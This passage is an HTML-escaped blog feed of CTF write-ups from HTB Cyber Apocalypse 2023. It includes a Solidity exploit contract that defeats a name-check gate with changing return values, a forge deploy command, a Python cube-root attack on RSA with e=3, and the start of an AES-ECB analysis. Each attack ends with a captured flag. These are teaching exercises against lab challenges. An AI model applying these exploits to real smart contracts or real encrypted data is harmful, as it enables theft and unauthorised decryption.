&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_isAuthorized&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">_user&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">uint&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">authorized&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">strcmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_user&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">authorized&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">])){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To exploit this setup, an &lt;code>Exploit&lt;/code> contract is created, implementing the Entrant interface with a &lt;code>name()&lt;/code> function that returns an authorized name on the first call and &lt;code>Pandora&lt;/code> on the second call. This contract also has a &lt;code>pwn()&lt;/code> function that calls the &lt;code>enter()&lt;/code> function of the &lt;code>HighSecurityGate&lt;/code> contract, with the Exploit contract acting as the sender. This is the &lt;code>Exploit&lt;/code> contract:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">18&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;./Setup.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">interface&lt;/span> &lt;span class="nc">Entrant&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">name&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Exploit&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Entrant&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">targetAddr&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Setup&lt;/span> &lt;span class="n">targetContract&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">first&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">_addr&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">targetAddr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_addr&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">targetContract&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Setup&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">targetAddr&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">first&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">name&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">string&lt;/span> &lt;span class="k">memory&lt;/span>&lt;span class="p">){&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">first&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">first&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s">&amp;#34;Orion&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s">&amp;#34;Pandora&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">pwn&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">targetContract&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">TARGET&lt;/span>&lt;span class="p">().&lt;/span>&lt;span class="n">enter&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To deploy the &lt;code>Exploit&lt;/code> contract, we used &lt;code>foundry-rs&lt;/code> (you can find it here: &lt;a href="https://github.com/foundry-rs/foundry" target="_blank" rel="noopener">https://github.com/foundry-rs/foundry&lt;/a>) :&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">forge create Exploit --rpc-url &amp;lt;rpc_url&amp;gt; --private-key &amp;lt;private_key&amp;gt; --constructor-args &amp;lt;setup_contract_address&amp;gt; --value 100ether
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After deploying the &lt;code>Exploit&lt;/code> contract, call the &lt;code>pwn()&lt;/code> function twice. On the first call, the &lt;code>name()&lt;/code> function will return an authorized name, updating the &lt;code>lastEntrant&lt;/code> variable in the &lt;code>HighSecurityGate&lt;/code> contract. On the second call, the &lt;code>name()&lt;/code> function will return &lt;code>Pandora&lt;/code>, updating the &lt;code>lastEntrant&lt;/code> variable to the desired value.
When the &lt;code>lastEntrant&lt;/code> variable set to &lt;code>Pandora&lt;/code>, the &lt;code>isSolved()&lt;/code> function in the &lt;code>Setup&lt;/code> contract will return &lt;code>true&lt;/code>, indicating that the challenge has been successfully solved.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{H1D1n9_1n_PL41n_519H7}&lt;/strong>&lt;/p></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Cryptography</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-crypto/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-crypto/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/crypto/">crypto&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#ancient-encodings">Ancient Encodings&lt;/a>&lt;/li>
&lt;li>&lt;a href="#small-steps">Small StEps&lt;/a>&lt;/li>
&lt;li>&lt;a href="#perfect-synchronization">Perfect Synchronization&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement">Problem statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method">Solution method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results">Results&lt;/a>&lt;/li>
&lt;li>&lt;a href="#conclusion-1">Conclusion&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#multipage-recyclings">Multipage Recyclings&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-1">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-1">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-1">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-1">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#inside-the-matrix">Inside the Matrix&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-2">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-2">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-2">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-2">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#colliding-heritage">Colliding Heritage&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#initial-analysis-3">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution">Solution&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#elliptic-labyrinth">Elliptic Labyrinth&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-3">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-4">Initial analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#solution-method-3">Solution Method&lt;/a>&lt;/li>
&lt;li>&lt;a href="#results-3">Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#elliptic-labyrinth-revenge">Elliptic Labyrinth Revenge&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#problem-statement-4">Problem Statement&lt;/a>&lt;/li>
&lt;li>&lt;a href="#initial-analysis-5">Initial Analysis&lt;/a>&lt;/li>
&lt;li>&lt;a href="#implementation-and-results">Implementation and Results&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#biased-heritage">Biased Heritage&lt;/a>&lt;/li>
&lt;li>&lt;a href="#converging-visions">Converging Visions&lt;/a>&lt;/li>
&lt;li>&lt;a href="#blokechain">Blokechain&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-post">Original Post&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="ancient-encodings">Ancient Encodings&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1eDi7M0cVA9-y2EPYMWehni7YQpq-3QN4/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your initialization sequence requires loading various programs to gain the necessary knowledge and skills for your journey. Your first task is to learn the ancient encodings used by the aliens in their communication.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a Python script and a text file. Analyze the script, we get to know how the string is being encoded, which is &lt;code>Base 64 encode &amp;gt; Conversion to long from bytes &amp;gt; Hex&lt;/code>.&lt;/p>
&lt;p>To get the original string, we simply reverse the process, using &lt;a href="https://gchq.github.io/CyberChef" target="_blank" rel="noopener">CyberChef&lt;/a> with the hex given in the text file.&lt;/p>
&lt;img src="crypto1.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{1n_y0ur_j0urn3y_y0u_wi1l_se3_th15_enc0d1ngs_ev3rywher3}&lt;/strong>&lt;/p>
&lt;h2 id="small-steps">Small StEps&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1UWVtdIr8GX9C6to-uuyEJe0v3Zg_baDf/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you continue your journey, you must learn about the encryption method the aliens used to secure their communication from eavesdroppers. The engineering team has designed a challenge that emulates the exact parameters of the aliens&amp;rsquo; encryption system, complete with instructions and a code snippet to connect to a mock alien server. Your task is to break it.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given two Python script. The server.py is to setup a server for &lt;code>RSA encryption&lt;/code>. It will output &lt;code>n, e, ct&lt;/code> upon connecting to the netcat server/run the Python script locally.&lt;/p>
&lt;img src="crypto2.png" alt="linux" width="1000"/>
&lt;p>Since &lt;code>e&lt;/code> is always &lt;code>3&lt;/code>, we can use &lt;a href="https://crypto.stackexchange.com/questions/6713/low-public-exponent-attack-for-rsa" target="_blank" rel="noopener">Low public exponent RSA attack&lt;/a> to recover the initial message. In general, we only have to calculate &lt;code>cube root&lt;/code> of ciphertext to get the plaintext.&lt;/p>
&lt;p>Below is the implementation of the attack in Python.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">gmpy2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">884883504927573976507811885368533220992278181011115684591381528075201937106582650631361008463165895850991665645858432026935373136174833729634068491453157&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ct&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">70407336670535933819674104208890254240063781538460394662998902860952366439176467447947737680952277637330523818962104685553250402512989897886053&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gmpy2&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">iroot&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ct&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="c1"># Get cube root of ct&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pt&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{5ma1l_E-xp0n3nt}&lt;/strong>&lt;/p>
&lt;h2 id="perfect-synchronization">Perfect Synchronization&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1vm-yF-YzL-l18Rf83RwPo2ar0ZjLEehg?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> The final stage of your initialization sequence is mastering cutting-edge technology tools that can be life-changing. One of these tools is quipqiup, an automated tool for frequency analysis and breaking substitution ciphers. This is the ultimate challenge, simulating the use of AES encryption to protect a message. Can you break it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The encryption is shown below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">os&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">urandom&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Cipher&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">AES&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">MESSAGE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">assert&lt;/span> &lt;span class="nb">all&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isupper&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">{_}&lt;/span>&lt;span class="s1"> &amp;#39;&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">MESSAGE&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Cipher&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">salt&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urandom&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">AES&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">MODE_ECB&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">salt&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">message&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cipher&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Cipher&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">MESSAGE&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">encrypted&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">encrypted&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;output.txt&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w+&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">encrypted&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement">Problem statement&lt;/h3>
&lt;p>The Python script defines a &lt;code>Cipher&lt;/code> class that generates a random salt and key, then encrypts a message using AES in ECB mode. The encrypted message is written to a file in hexadecimal format. The &lt;code>MESSAGE&lt;/code> variable is imported from a separate file. Our mission is to recover the encrypted message and find the flag in it.&lt;/p>
&lt;h3 id="initial-analysis">Initial Analysis&lt;/h3>
&lt;h4 id="the-randomness">The randomness&lt;/h4>
&lt;p>The author adds some randomnesses including &lt;code>key&lt;/code> and &lt;code>salt&lt;/code> to make the encryption more unpredictable. But if you look more closely into it, you will realize that the &lt;code>salt&lt;/code> is just initialized once, and be padded for all characters in the message. It means the &lt;code>salt&lt;/code> is not too much useful, it just shifts all characters by a constant value.&lt;/p>
&lt;h4 id="the-aes-encryption-mode">The AES encryption mode&lt;/h4>
&lt;p>The author uses EBC mode - the weakest mode, to encrypt all &lt;code>shifted&lt;/code> characters of the message.&lt;/p>
&lt;p>For anyone who doesn&amp;rsquo;t know about &lt;code>ECB&lt;/code>: &lt;code>ECB (Electronic Codebook)&lt;/code> is one of the simplest modes of &lt;code>AES encryption&lt;/code>, where each block of plaintext is encrypted separately using the same key.&lt;/p>
